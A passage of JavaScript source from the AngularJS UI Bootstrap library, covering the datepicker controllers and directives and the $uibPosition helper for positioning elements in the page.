= null; instances.some(function(instance) { var thisVal = instance.scope.$eval(onExp); if (thisVal === compareWithVal) { newActivated = instance; return true; } }); if (data.lastActivated !== newActivated) { if (data.lastActivated) { $animate.removeClass(data.lastActivated.element, clazz); } if (newActivated) { $animate.addClass(newActivated.element, clazz); } data.lastActivated = newActivated; } }; expToData[exp] = data = { lastActivated: null, scope: scope, watchFn: watchFn, compareWithExp: compareWithExp, watcher: scope.$watch(compareWithExp, watchFn) }; } data.watchFn(scope.$eval(compareWithExp)); } function removeScope(e) { var removedScope = e.targetScope; var index = linkedScopes.indexOf(removedScope); linkedScopes.splice(index, 1); instances.splice(index, 1); if (linkedScopes.length) { var newWatchScope = linkedScopes[0]; angular.forEach(expToData, function(data) { if (data.scope === removedScope) { data.watcher = newWatchScope.$watch(data.compareWithExp, data.watchFn); data.scope = newWatchScope; } }); } else { expToData = {}; } } } }; }]); angular.module('ui.bootstrap.datepicker', ['ui.bootstrap.dateparser', 'ui.bootstrap.isClass']) .value('$datepickerSuppressError', false) .value('$datepickerLiteralWarning', true) .constant('uibDatepickerConfig', { datepickerMode: 'day', formatDay: 'dd', formatMonth: 'MMMM', formatYear: 'yyyy', formatDayHeader: 'EEE', formatDayTitle: 'MMMM yyyy', formatMonthTitle: 'yyyy', maxDate: null, maxMode: 'year', minDate: null, minMode: 'day', ngModelOptions: {}, shortcutPropagation: false, showWeeks: true, yearColumns: 5, yearRows: 4 }) .controller('UibDatepickerController', ['$scope', '$attrs', '$parse', '$interpolate', '$locale', '$log', 'dateFilter', 'uibDatepickerConfig', '$datepickerLiteralWarning', '$datepickerSuppressError', 'uibDateParser', function($scope, $attrs, $parse, $interpolate, $locale, $log, dateFilter, datepickerConfig, $datepickerLiteralWarning, $datepickerSuppressError, dateParser) { var self = this, ngModelCtrl = { $setViewValue: angular.noop }, // nullModelCtrl; ngModelOptions = {}, watchListeners = [], optionsUsed = !!$attrs.datepickerOptions; if (!$scope.datepickerOptions) { $scope.datepickerOptions = {}; } // Modes chain this.modes = ['day', 'month', 'year']; [ 'customClass', 'dateDisabled', 'datepickerMode', 'formatDay', 'formatDayHeader', 'formatDayTitle', 'formatMonth', 'formatMonthTitle', 'formatYear', 'maxDate', 'maxMode', 'minDate', 'minMode', 'showWeeks', 'shortcutPropagation', 'startingDay', 'yearColumns', 'yearRows' ].forEach(function(key) { switch (key) { case 'customClass': case 'dateDisabled': $scope[key] = $scope.datepickerOptions[key] || angular.noop; break; case 'datepickerMode': $scope.datepickerMode = angular.isDefined($scope.datepickerOptions.datepickerMode) ? $scope.datepickerOptions.datepickerMode : datepickerConfig.datepickerMode; break; case 'formatDay': case 'formatDayHeader': case 'formatDayTitle': case 'formatMonth': case 'formatMonthTitle': case 'formatYear': self[key] = angular.isDefined($scope.datepickerOptions[key]) ? $interpolate($scope.datepickerOptions[key])($scope.$parent) : datepickerConfig[key]; break; case 'showWeeks': case 'shortcutPropagation': case 'yearColumns': case 'yearRows': self[key] = angular.isDefined($scope.datepickerOptions[key]) ? $scope.datepickerOptions[key] : datepickerConfig[key]; break; case 'startingDay': if (angular.isDefined($scope.datepickerOptions.startingDay)) { self.startingDay = $scope.datepickerOptions.startingDay; } else if (angular.isNumber(datepickerConfig.startingDay)) { self.startingDay = datepickerConfig.startingDay; } else { self.startingDay = ($locale.DATETIME_FORMATS.FIRSTDAYOFWEEK + 8) % 7; } break; case 'maxDate': case 'minDate': $scope.$watch('datepickerOptions.' + key, function(value) { if (value) { if (angular.isDate(value)) { self[key] = dateParser.fromTimezone(new Date(value), ngModelOptions.timezone); } else { if ($datepickerLiteralWarning) { $log.warn('Literal date support has been deprecated, please switch to date object usage'); } self[key] = new Date(dateFilter(value, 'medium')); } } else { self[key] = datepickerConfig[key] ? dateParser.fromTimezone(new Date(datepickerConfig[key]), ngModelOptions.timezone) : null; } self.refreshView(); }); break; case 'maxMode': case 'minMode': if ($scope.datepickerOptions[key]) { $scope.$watch(function() { return $scope.datepickerOptions[key]; }, function(value) { self[key] = $scope[key] = angular.isDefined(value) ? value : datepickerOptions[key]; if (key === 'minMode' && self.modes.indexOf($scope.datepickerOptions.datepickerMode) < self.modes.indexOf(self[key]) || key === 'maxMode' && self.modes.indexOf($scope.datepickerOptions.datepickerMode) > self.modes.indexOf(self[key])) { $scope.datepickerMode = self[key]; $scope.datepickerOptions.datepickerMode = self[key]; } }); } else { self[key] = $scope[key] = datepickerConfig[key] || null; } break; } }); $scope.uniqueId = 'datepicker-' + $scope.$id + '-' + Math.floor(Math.random() * 10000); $scope.disabled = angular.isDefined($attrs.disabled) || false; if (angular.isDefined($attrs.ngDisabled)) { watchListeners.push($scope.$parent.$watch($attrs.ngDisabled, function(disabled) { $scope.disabled = disabled; self.refreshView(); })); } $scope.isActive = function(dateObject) { if (self.compare(dateObject.date, self.activeDate) === 0) { $scope.activeDateId = dateObject.uid; return true; } return false; }; this.init = function(ngModelCtrl_) { ngModelCtrl = ngModelCtrl_; ngModelOptions = ngModelCtrl_.$options || datepickerConfig.ngModelOptions; if ($scope.datepickerOptions.initDate) { self.activeDate = dateParser.fromTimezone($scope.datepickerOptions.initDate, ngModelOptions.timezone) || new Date(); $scope.$watch('datepickerOptions.initDate', function(initDate) { if (initDate && (ngModelCtrl.$isEmpty(ngModelCtrl.$modelValue) || ngModelCtrl.$invalid)) { self.activeDate = dateParser.fromTimezone(initDate, ngModelOptions.timezone); self.refreshView(); } }); } else { self.activeDate = new Date(); } var date = ngModelCtrl.$modelValue ? new Date(ngModelCtrl.$modelValue) : new Date(); this.activeDate = !isNaN(date) ? dateParser.fromTimezone(date, ngModelOptions.timezone) : dateParser.fromTimezone(new Date(), ngModelOptions.timezone); ngModelCtrl.$render = function() { self.render(); }; }; this.render = function() { if (ngModelCtrl.$viewValue) { var date = new Date(ngModelCtrl.$viewValue), isValid = !isNaN(date); if (isValid) { this.activeDate = dateParser.fromTimezone(date, ngModelOptions.timezone); } else if (!$datepickerSuppressError) { $log.error('Datepicker directive: "ng-model" value must be a Date object'); } } this.refreshView(); }; this.refreshView = function() { if (this.element) { $scope.selectedDt = null; this._refreshView(); if ($scope.activeDt) { $scope.activeDateId = $scope.activeDt.uid; } var date = ngModelCtrl.$viewValue ? new Date(ngModelCtrl.$viewValue) : null; date = dateParser.fromTimezone(date, ngModelOptions.timezone); ngModelCtrl.$setValidity('dateDisabled', !date || this.element && !this.isDisabled(date)); } }; this.createDateObject = function(date, format) { var model = ngModelCtrl.$viewValue ? new Date(ngModelCtrl.$viewValue) : null; model = dateParser.fromTimezone(model, ngModelOptions.timezone); var today = new Date(); today = dateParser.fromTimezone(today, ngModelOptions.timezone); var time = this.compare(date, today); var dt = { date: date, label: dateParser.filter(date, format), selected: model && this.compare(date, model) === 0, disabled: this.isDisabled(date), past: time < 0, current: time === 0, future: time > 0, customClass: this.customClass(date) || null }; if (model && this.compare(date, model) === 0) { $scope.selectedDt = dt; } if (self.activeDate && this.compare(dt.date, self.activeDate) === 0) { $scope.activeDt = dt; } return dt; }; this.isDisabled = function(date) { return $scope.disabled || this.minDate && this.compare(date, this.minDate) < 0 || this.maxDate && this.compare(date, this.maxDate) > 0 || $scope.dateDisabled && $scope.dateDisabled({date: date, mode: $scope.datepickerMode}); }; this.customClass = function(date) { return $scope.customClass({date: date, mode: $scope.datepickerMode}); }; // Split array into smaller arrays this.split = function(arr, size) { var arrays = []; while (arr.length > 0) { arrays.push(arr.splice(0, size)); } return arrays; }; $scope.select = function(date) { if ($scope.datepickerMode === self.minMode) { var dt = ngModelCtrl.$viewValue ? dateParser.fromTimezone(new Date(ngModelCtrl.$viewValue), ngModelOptions.timezone) : new Date(0, 0, 0, 0, 0, 0, 0); dt.setFullYear(date.getFullYear(), date.getMonth(), date.getDate()); dt = dateParser.toTimezone(dt, ngModelOptions.timezone); ngModelCtrl.$setViewValue(dt); ngModelCtrl.$render(); } else { self.activeDate = date; setMode(self.modes[self.modes.indexOf($scope.datepickerMode) - 1]); $scope.$emit('uib:datepicker.mode'); } $scope.$broadcast('uib:datepicker.focus'); }; $scope.move = function(direction) { var year = self.activeDate.getFullYear() + direction * (self.step.years || 0), month = self.activeDate.getMonth() + direction * (self.step.months || 0); self.activeDate.setFullYear(year, month, 1); self.refreshView(); }; $scope.toggleMode = function(direction) { direction = direction || 1; if ($scope.datepickerMode === self.maxMode && direction === 1 || $scope.datepickerMode === self.minMode && direction === -1) { return; } setMode(self.modes[self.modes.indexOf($scope.datepickerMode) + direction]); $scope.$emit('uib:datepicker.mode'); }; // Key event mapper $scope.keys = { 13: 'enter', 32: 'space', 33: 'pageup', 34: 'pagedown', 35: 'end', 36: 'home', 37: 'left', 38: 'up', 39: 'right', 40: 'down' }; var focusElement = function() { self.element[0].focus(); }; // Listen for focus requests from popup directive $scope.$on('uib:datepicker.focus', focusElement); $scope.keydown = function(evt) { var key = $scope.keys[evt.which]; if (!key || evt.shiftKey || evt.altKey || $scope.disabled) { return; } evt.preventDefault(); if (!self.shortcutPropagation) { evt.stopPropagation(); } if (key === 'enter' || key === 'space') { if (self.isDisabled(self.activeDate)) { return; // do nothing } $scope.select(self.activeDate); } else if (evt.ctrlKey && (key === 'up' || key === 'down')) { $scope.toggleMode(key === 'up' ? 1 : -1); } else { self.handleKeyDown(key, evt); self.refreshView(); } }; $scope.$on('$destroy', function() { //Clear all watch listeners on destroy while (watchListeners.length) { watchListeners.shift()(); } }); function setMode(mode) { $scope.datepickerMode = mode; $scope.datepickerOptions.datepickerMode = mode; } }]) .controller('UibDaypickerController', ['$scope', '$element', 'dateFilter', function(scope, $element, dateFilter) { var DAYS_IN_MONTH = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; this.step = { months: 1 }; this.element = $element; function getDaysInMonth(year, month) { return month === 1 && year % 4 === 0 && (year % 100 !== 0 || year % 400 === 0) ? 29 : DAYS_IN_MONTH[month]; } this.init = function(ctrl) { angular.extend(ctrl, this); scope.showWeeks = ctrl.showWeeks; ctrl.refreshView(); }; this.getDates = function(startDate, n) { var dates = new Array(n), current = new Date(startDate), i = 0, date; while (i < n) { date = new Date(current); dates[i++] = date; current.setDate(current.getDate() + 1); } return dates; }; this._refreshView = function() { var year = this.activeDate.getFullYear(), month = this.activeDate.getMonth(), firstDayOfMonth = new Date(this.activeDate); firstDayOfMonth.setFullYear(year, month, 1); var difference = this.startingDay - firstDayOfMonth.getDay(), numDisplayedFromPreviousMonth = difference > 0 ? 7 - difference : - difference, firstDate = new Date(firstDayOfMonth); if (numDisplayedFromPreviousMonth > 0) { firstDate.setDate(-numDisplayedFromPreviousMonth + 1); } // 42 is the number of days on a six-week calendar var days = this.getDates(firstDate, 42); for (var i = 0; i < 42; i ++) { days[i] = angular.extend(this.createDateObject(days[i], this.formatDay), { secondary: days[i].getMonth() !== month, uid: scope.uniqueId + '-' + i }); } scope.labels = new Array(7); for (var j = 0; j < 7; j++) { scope.labels[j] = { abbr: dateFilter(days[j].date, this.formatDayHeader), full: dateFilter(days[j].date, 'EEEE') }; } scope.title = dateFilter(this.activeDate, this.formatDayTitle); scope.rows = this.split(days, 7); if (scope.showWeeks) { scope.weekNumbers = []; var thursdayIndex = (4 + 7 - this.startingDay) % 7, numWeeks = scope.rows.length; for (var curWeek = 0; curWeek < numWeeks; curWeek++) { scope.weekNumbers.push( getISO8601WeekNumber(scope.rows[curWeek][thursdayIndex].date)); } } }; this.compare = function(date1, date2) { var _date1 = new Date(date1.getFullYear(), date1.getMonth(), date1.getDate()); var _date2 = new Date(date2.getFullYear(), date2.getMonth(), date2.getDate()); _date1.setFullYear(date1.getFullYear()); _date2.setFullYear(date2.getFullYear()); return _date1 - _date2; }; function getISO8601WeekNumber(date) { var checkDate = new Date(date); checkDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7)); // Thursday var time = checkDate.getTime(); checkDate.setMonth(0); // Compare with Jan 1 checkDate.setDate(1); return Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1; } this.handleKeyDown = function(key, evt) { var date = this.activeDate.getDate(); if (key === 'left') { date = date - 1; } else if (key === 'up') { date = date - 7; } else if (key === 'right') { date = date + 1; } else if (key === 'down') { date = date + 7; } else if (key === 'pageup' || key === 'pagedown') { var month = this.activeDate.getMonth() + (key === 'pageup' ? - 1 : 1); this.activeDate.setMonth(month, 1); date = Math.min(getDaysInMonth(this.activeDate.getFullYear(), this.activeDate.getMonth()), date); } else if (key === 'home') { date = 1; } else if (key === 'end') { date = getDaysInMonth(this.activeDate.getFullYear(), this.activeDate.getMonth()); } this.activeDate.setDate(date); }; }]) .controller('UibMonthpickerController', ['$scope', '$element', 'dateFilter', function(scope, $element, dateFilter) { this.step = { years: 1 }; this.element = $element; this.init = function(ctrl) { angular.extend(ctrl, this); ctrl.refreshView(); }; this._refreshView = function() { var months = new Array(12), year = this.activeDate.getFullYear(), date; for (var i = 0; i < 12; i++) { date = new Date(this.activeDate); date.setFullYear(year, i, 1); months[i] = angular.extend(this.createDateObject(date, this.formatMonth), { uid: scope.uniqueId + '-' + i }); } scope.title = dateFilter(this.activeDate, this.formatMonthTitle); scope.rows = this.split(months, 3); }; this.compare = function(date1, date2) { var _date1 = new Date(date1.getFullYear(), date1.getMonth()); var _date2 = new Date(date2.getFullYear(), date2.getMonth()); _date1.setFullYear(date1.getFullYear()); _date2.setFullYear(date2.getFullYear()); return _date1 - _date2; }; this.handleKeyDown = function(key, evt) { var date = this.activeDate.getMonth(); if (key === 'left') { date = date - 1; } else if (key === 'up') { date = date - 3; } else if (key === 'right') { date = date + 1; } else if (key === 'down') { date = date + 3; } else if (key === 'pageup' || key === 'pagedown') { var year = this.activeDate.getFullYear() + (key === 'pageup' ? - 1 : 1); this.activeDate.setFullYear(year); } else if (key === 'home') { date = 0; } else if (key === 'end') { date = 11; } this.activeDate.setMonth(date); }; }]) .controller('UibYearpickerController', ['$scope', '$element', 'dateFilter', function(scope, $element, dateFilter) { var columns, range; this.element = $element; function getStartingYear(year) { return parseInt((year - 1) / range, 10) * range + 1; } this.yearpickerInit = function() { columns = this.yearColumns; range = this.yearRows * columns; this.step = { years: range }; }; this._refreshView = function() { var years = new Array(range), date; for (var i = 0, start = getStartingYear(this.activeDate.getFullYear()); i < range; i++) { date = new Date(this.activeDate); date.setFullYear(start + i, 0, 1); years[i] = angular.extend(this.createDateObject(date, this.formatYear), { uid: scope.uniqueId + '-' + i }); } scope.title = [years[0].label, years[range - 1].label].join(' - '); scope.rows = this.split(years, columns); scope.columns = columns; }; this.compare = function(date1, date2) { return date1.getFullYear() - date2.getFullYear(); }; this.handleKeyDown = function(key, evt) { var date = this.activeDate.getFullYear(); if (key === 'left') { date = date - 1; } else if (key === 'up') { date = date - columns; } else if (key === 'right') { date = date + 1; } else if (key === 'down') { date = date + columns; } else if (key === 'pageup' || key === 'pagedown') { date += (key === 'pageup' ? - 1 : 1) * range; } else if (key === 'home') { date = getStartingYear(this.activeDate.getFullYear()); } else if (key === 'end') { date = getStartingYear(this.activeDate.getFullYear()) + range - 1; } this.activeDate.setFullYear(date); }; }]) .directive('uibDatepicker', function() { return { replace: true, templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/datepicker/datepicker.html'; }, scope: { datepickerOptions: '=?' }, require: ['uibDatepicker', '^ngModel'], controller: 'UibDatepickerController', controllerAs: 'datepicker', link: function(scope, element, attrs, ctrls) { var datepickerCtrl = ctrls[0], ngModelCtrl = ctrls[1]; datepickerCtrl.init(ngModelCtrl); } }; }) .directive('uibDaypicker', function() { return { replace: true, templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/datepicker/day.html'; }, require: ['^uibDatepicker', 'uibDaypicker'], controller: 'UibDaypickerController', link: function(scope, element, attrs, ctrls) { var datepickerCtrl = ctrls[0], daypickerCtrl = ctrls[1]; daypickerCtrl.init(datepickerCtrl); } }; }) .directive('uibMonthpicker', function() { return { replace: true, templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/datepicker/month.html'; }, require: ['^uibDatepicker', 'uibMonthpicker'], controller: 'UibMonthpickerController', link: function(scope, element, attrs, ctrls) { var datepickerCtrl = ctrls[0], monthpickerCtrl = ctrls[1]; monthpickerCtrl.init(datepickerCtrl); } }; }) .directive('uibYearpicker', function() { return { replace: true, templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/datepicker/year.html'; }, require: ['^uibDatepicker', 'uibYearpicker'], controller: 'UibYearpickerController', link: function(scope, element, attrs, ctrls) { var ctrl = ctrls[0]; angular.extend(ctrl, ctrls[1]); ctrl.yearpickerInit(); ctrl.refreshView(); } }; }); angular.module('ui.bootstrap.position', []) /** * A set of utility methods for working with the DOM. * It is meant to be used where we need to absolute-position elements in * relation to another element (this is the case for tooltips, popovers, * typeahead suggestions etc.). */ .factory('$uibPosition', ['$document', '$window', function($document, $window) { /** * Used by scrollbarWidth() function to cache scrollbar's width. * Do not access this variable directly, use scrollbarWidth() instead. */ var SCROLLBAR_WIDTH; /** * scrollbar on body and html element in IE and Edge overlay * content and should be considered 0 width. */ var BODY_SCROLLBAR_WIDTH; var OVERFLOW_REGEX = { normal: /(auto|scroll)/, hidden: /(auto|scroll|hidden)/ }; var PLACEMENT_REGEX = { auto: /\s?auto?\s?/i, primary: /^(top|bottom|left|right)$/, secondary: /^(top|bottom|left|right|center)$/, vertical: /^(top|bottom)$/ }; var BODY_REGEX = /(HTML|BODY)/; return { /** * Provides a raw DOM element from a jQuery/jQLite element. * * @param {element} elem - The element to convert. * * @returns {element} A HTML element. */ getRawNode: function(elem) { return elem.nodeName ? elem : elem[0] || elem; }, /** * Provides a parsed number for a style property. Strips * units and casts invalid numbers to 0. * * @param {string} value - The style value to parse. * * @returns {number} A valid number. */ parseStyle: function(value) { value = parseFloat(value); return isFinite(value) ? value : 0; }, /** * Provides the closest positioned ancestor. * * @param {element} element - The element to get the offest parent for. * * @returns {element} The closest positioned ancestor. */ offsetParent: function(elem) { elem = this.getRawNode(elem); var offsetParent = elem.offsetParent || $document[0].documentElement; function isStaticPositioned(el) { return ($window.getComputedStyle(el).position || 'static') === 'static'; } while (offsetParent && offsetParent !== $document[0].documentElement && isStaticPositioned(offsetParent)) { offsetParent = offsetParent.offsetParent; } return offsetParent || $document[0].documentElement; }, /** * Provides the scrollbar width, concept from TWBS measureScrollbar() * function in https://github.com/twbs/bootstrap/blob/master/js/modal.js * In IE and Edge, scollbar on body and html element overlay and should * return a width of 0. * * @returns {number} The width of the browser scollbar. */ scrollbarWidth: function(isBody) { if (isBody) { if (angular.isUndefined(BODY_SCROLLBAR_WIDTH)) { var bodyElem = $document.find('body'); bodyElem.addClass('uib-position-body-scrollbar-measure'); BODY_SCROLLBAR_WIDTH = $window.innerWidth - bodyElem[0].clientWidth; BODY_SCROLLBAR_WIDTH = isFinite(BODY_SCROLLBAR_WIDTH) ? BODY_SCROLLBAR_WIDTH : 0; bodyElem.removeClass('uib-position-body-scrollbar-measure'); } return BODY_SCROLLBAR_WIDTH; } if (angular.isUndefined(SCROLLBAR_WIDTH)) { var scrollElem = angular.element('<div class="uib-position-scrollbar-measure"></div>'); $document.find('body').append(scrollElem); SCROLLBAR_WIDTH = scrollElem[0].offsetWidth - scrollElem[0].clientWidth; SCROLLBAR_WIDTH = isFinite(SCROLLBAR_WIDTH) ? SCROLLBAR_WIDTH : 0; scrollElem.remove(); } return SCROLLBAR_WIDTH; }, /** * Provides the padding required on an element to replace the scrollbar. * * @returns {object} An object with the following properties: * <ul> * <li>**scrollbarWidth**: the width of the scrollbar</li> * <li>**widthOverflow**: whether the the width is overflowing</li> * <li>**right**: the amount of right padding on the element needed to replace the scrollbar</li> * <li>**rightOriginal**: the amount of right padding currently on the element</li> * <li>**heightOverflow**: whether the the height is overflowing</li> * <li>**bottom**: the amount of bottom padding on the element needed to replace the scrollbar</li> * <li>**bottomOriginal**: the amount of bottom padding currently on the element</li> * </ul> */ scrollbarPadding: function(elem) { elem = this.getRawNode(elem); var elemStyle = $window.getComputedStyle(elem); var paddingRight = this.parseStyle(elemStyle.paddingRight); var paddingBottom = this.parseStyle(elemStyle.paddingBottom); var scrollParent = this.scrollParent(elem, false, true); var scrollbarWidth = this.scrollbarWidth(scrollParent, BODY_REGEX.test(scrollParent.tagName)); return { scrollbarWidth: scrollbarWidth, widthOverflow: scrollParent.scrollWidth > scrollParent.clientWidth, right: paddingRight + scrollbarWidth, originalRight: paddingRight, heightOverflow: scrollParent.scrollHeight > scrollParent.clientHeight, bottom: paddingBottom + scrollbarWidth, originalBottom: paddingBottom }; }, /** * Checks to see if the element is scrollable. * * @param {element} elem - The element to check. * @param {boolean=} [includeHidden=false] - Should scroll style of 'hidden' be considered, * default is false. * * @returns {boolean} Whether the element is scrollable. */ isScrollable: function(elem, includeHidden) { elem = this.getRawNode(elem); var overflowRegex = includeHidden ? OVERFLOW_REGEX.hidden : OVERFLOW_REGEX.normal; var elemStyle = $window.getComputedStyle(elem); return overflowRegex.test(elemStyle.overflow + elemStyle.overflowY + elemStyle.overflowX); }, /** * Provides the closest scrollable ancestor. * A port of the jQuery UI scrollParent method: * https://github.com/jquery/jquery-ui/blob/master/ui/scroll-parent.js * * @param {element} elem - The element to find the scroll parent of. * @param {boolean=} [includeHidden=false] - Should scroll style of 'hidden' be considered, * default is false. * @param {boolean=} [includeSelf=false] - Should the element being passed be * included in the scrollable llokup. * * @returns {element} A HTML element. */ scrollParent: function(elem, includeHidden, includeSelf) { elem = this.getRawNode(elem); var overflowRegex = includeHidden ? OVERFLOW_REGEX.hidden : OVERFLOW_REGEX.normal; var documentEl = $document[0].documentElement; var elemStyle = $window.getComputedStyle(elem); if (includeSelf && overflowRegex.test(elemStyle.overflow + elemStyle.overflowY + elemStyle.overflowX)) { return elem; } var excludeStatic = elemStyle.position === 'absolute'; var scrollParent = elem.parentElement || documentEl; if (scrollParent === documentEl || elemStyle.position === 'fixed') { return documentEl; } while (scrollParent.parentElement && scrollParent !== documentEl) { var spStyle = $window.getComputedStyle(scrollParent); if (excludeStatic && spStyle.position !== 'static') { excludeStatic = false; } if (!excludeStatic && overflowRegex.test(spStyle.overflow + spStyle.overflowY + spStyle.overflowX)) { break; } scrollParent = scrollParent.parentElement; } return scrollParent; }, /** * Provides read-only equivalent of jQuery's position function: * http://api.jquery.com/position/ - distance to closest positioned * ancestor. Does not account for margins by default like jQuery position. * * @param {element} elem - The element to caclulate the position on. * @param {boolean=} [includeMargins=false] - Should margins be accounted * for, default is false. * * @returns {object} An object with the following properties: * <ul> * <li>**width**: the width of the element</li> * <li>**height**: the height of the element</li> * <li>**top**: distance to top edge of offset parent</li> * <li>**left**: distance to left edge of offset parent</li> * </ul> */ position: function(elem, includeMagins) { elem = this.getRawNode(elem); var elemOffset = this.offset(elem); if (includeMagins) { var elemStyle = $window.getComputedStyle(elem); elemOffset.top -= this.parseStyle(elemStyle.marginTop); elemOffset.left -= this.parseStyle(elemStyle.marginLeft); } var parent = this.offsetParent(elem); var parentOffset = {top: 0, left: 0}; if (parent !== $document[0].documentElement) { parentOffset = this.offset(parent); parentOffset.top += parent.clientTop - parent.scrollTop; parentOffset.left += parent.clientLeft - parent.scrollLeft; } return { width: Math.round(angular.isNumber(elemOffset.width) ? elemOffset.width : elem.offsetWidth), height: Math.round(angular.isNumber(elemOffset.height) ? elemOffset.height : elem.offsetHeight), top: Math.round(elemOffset.top - parentOffset.top), left: Math.round(elemOffset.left - parentOffset.left) }; }, /** * Provides read-only equivalent of jQuery's offset function: * http://api.jquery.com/offset/ - distance to viewport. Does * not account for borders, margins, or padding on the body * element. * * @param {element} elem - The element to calculate the offset on. * * @returns {object} An object with the following properties: * <ul> * <li>**width**: the width of the element</li> * <li>**height**: the height of the element</li> * <li>**top**: distance to top edge of viewport</li> * <li>**right**: distance to bottom edge of viewport</li> * </ul> */ offset: function(elem) { elem = this.getRawNode(elem); var elemBCR = elem.getBoundingClientRect(); return { width: Math.round(angular.isNumber(elemBCR.width) ? elemBCR.width : elem.offsetWidth), height: Math.round(angular.isNumber(elemBCR.height) ? elemBCR.height : elem.offsetHeight), top: Math.round(elemBCR.top + ($window.pageYOffset || $document[0].documentElement.scrollTop)), left: Math.round(elemBCR.left + ($window.pageXOffset || $document[0].documentElement.scrollLeft)) }; }, /** * Provides offset distance to the closest scrollable ancestor * or viewport. Accounts for border and scrollbar width. * * Right and bottom dimensions represent the distance to the * respective edge of the viewport element. If the element * edge extends beyond the viewport, a negative value will be * reported. * * @param {element} elem - The element to get the viewport offset for. * @param {boolean=} [useDocument=false] - Should the viewport be the document element instead * of the first scrollable element, default is false. * @param {boolean=} [includePadding=true] - Should the padding on the offset parent element * be accounted for, default is true. * * @returns {object} An object with the following properties: * <ul> * <li>**top**: distance to the top content edge of viewport element</li> * <li>**bottom**: distance to the bottom content edge of viewport element</li> * <li>**left**: distance to the left content edge of viewport element</li> * <li>**right**: distance to the right content edge of viewport element</li> * </ul> */ viewportOffset: function(elem, useDocument, includePadding) { elem = this.getRawNode(elem); includePadding = includePadding !== false ? true : false; var elemBCR = elem.getBoundingClientRect(); var offsetBCR = {top: 0, left: 0, bottom: 0, right: 0}; var offsetParent = useDocument ? $document[0].documentElement : this.scrollParent(elem); var offsetParentBCR = offsetParent.getBoundingClientRect(); offsetBCR.top = offsetParentBCR.top + offsetParent.clientTop; offsetBCR.left = offsetParentBCR.left + offsetParent.clientLeft; if (offsetParent === $document[0].documentElement) { offsetBCR.top += $window.pageYOffset; offsetBCR.left += $window.pageXOffset; } offsetBCR.bottom = offsetBCR.top + offsetParent.clientHeight; offsetBCR.right = offsetBCR.left + offsetParent.clientWidth; if (includePadding) { var offsetParentStyle = $window.getComputedStyle(offsetParent); offsetBCR.top += this.parseStyle(offsetParentStyle.paddingTop); offsetBCR.bottom -= this.parseStyle(offsetParentStyle.paddingBottom); offsetBCR.left += this.parseStyle(offsetParentStyle.paddingLeft); offsetBCR.right -= this.parseStyle(offsetParentStyle.paddingRight); } return { top: Math.round(elemBCR.top - offsetBCR.top), bottom: Math.round(offsetBCR.bottom - elemBCR.bottom), left: Math.round(elemBCR.left - offsetBCR.left), right: Math.round(offsetBCR.right - elemBCR.right) }; }, /** * Provides an array of placement values parsed from a placement string. * Along with the 'auto' indicator, supported placement strings are: * <ul> * <li>top: element on top, horizontally centered on host element.</li> * <li>top-left: element on top, left edge aligned with host element left edge.</li> * <li>top-right: element on top, lerightft edge aligned with host element right edge.</li> * <li>bottom: element on bottom, horizontally centered on host element.</li> * <li>bottom-left: element on bottom, left edge aligned with host element left edge.</li> * <li>bottom-right: element on bottom, right edge aligned with host element right edge.</li> * <li>left: element on left, vertically centered on host element.</li> * <li>left-top: element on left, top edge aligned with host element top edge.</li> * <li>left-bottom: element on left, bottom edge aligned with host element bottom edge.</li> * <li>right: element on right, vertically centered on host element.</li> * <li>right-top: element on right, top edge aligned with host element top edge.</li> * <li>right-bottom: element on right, bottom edge aligned with host element bottom edge.</li> * </ul> * A placement string with an 'auto' indicator is expected to be * space separated from the placement, i.e: 'auto bottom-left' If * the primary and secondary placement values do not match 'top, * bottom, left, right' then 'top' will be the primary placement and * 'center' will be the secondary placement. If 'auto' is passed, true * will be returned as the 3rd value of the array. * * @param {string} placement - The placement string to parse. * * @returns {array} An array with the following values * <ul> * <li>**[0]**: The primary placement.</li> * <li>**[1]**: The secondary placement.</li> * <li>**[2]**: If auto is passed: true, else undefined.</li> * </ul> */ parsePlacement: function(placement) { var autoPlace = PLACEMENT_REGEX.auto.test(placement); if (autoPlace) { placement = placement.replace(PLACEMENT_REGEX.auto, ''); } placement = placement.split('-'); placement[0] = placement[0] || 'top'; if (!PLACEMENT_REGEX.primary.test(placement[0])) { placement[0] = 'top'; } placement[1] = placement[1] || 'center'; if (!PLACEMENT_REGEX.secondary.test(placement[1])) { placement[1] = 'center'; } if (autoPlace) { placement[2] = true; } else { placement[2] = false; } return placement; }, /** * Provides coordinates for an element to be positioned relative to * another element. Passing 'auto' as part of the placement parameter * will enable smart placement - where the element fits. i.e: * 'auto left-top' will check to see if there is enough space to the left * of the hostElem to fit the targetElem, if not place right (same for secondary * top placement). Available space is calculated using the viewportOffset * function. * * @param {element} hostElem - The element to position against. * @param {element} targetElem - The element to position. * @param {string=} [placement=top] - The placement for the targetElem, * default is 'top'. 'center' is assumed as secondary placement for * 'top', 'left', 'right', and 'bottom' placements. Available placements are: * <ul> * <li>top</li> * <li>top-right</li> * <li>top-left</li> * <li>bottom</li> * <li>bottom-left</li> * <li>bottom-right</li> * <li>left</li> * <li>left-top</li> * <li>left-bottom</li> * <li>right</li> * <li>right-top</li> * <li>right-bottom</li> * </ul> * @param {boolean=} [appendToBody=false] - Should the top and left values returned * be calculated from the body element, default is false. * * @returns {object} An object with the following properties: * <ul> * <li>**top**: Value for targetElem top.</li> * <li>**left**: Value for targetElem left.</li> * <li>**placement**: The resolved placement.</li> * </ul> */ positionElements: function(hostElem, targetElem, placement, appendToBody) { hostElem = this.getRawNode(hostElem); targetElem = this.getRawNode(targetElem); // need to read from prop to support tests. var targetWidth = angular.isDefined(targetElem.offsetWidth) ? targetElem.offsetWidth : targetElem.prop('offsetWidth'); var targetHeight = angular.isDefined(targetElem.offsetHeight) ? targetElem.offsetHeight : targetElem.prop('offsetHeight'); placement = this.parsePlacement(placement); var hostElemPos = appendToBody ? this.offset(hostElem) : this.position(hostElem); var targetElemPos = {top: 0, left: 0, placement: ''}; if (placement[2]) { var viewportOffset = this.viewportOffset(hostElem, appendToBody); var targetElemStyle = $window.getComputedStyle(targetElem); var adjustedSize = { width: targetWidth + Math.round(Math.abs(this.parseStyle(targetElemStyle.marginLeft) + this.parseStyle(targetElemStyle.marginRight))), height: targetHeight + 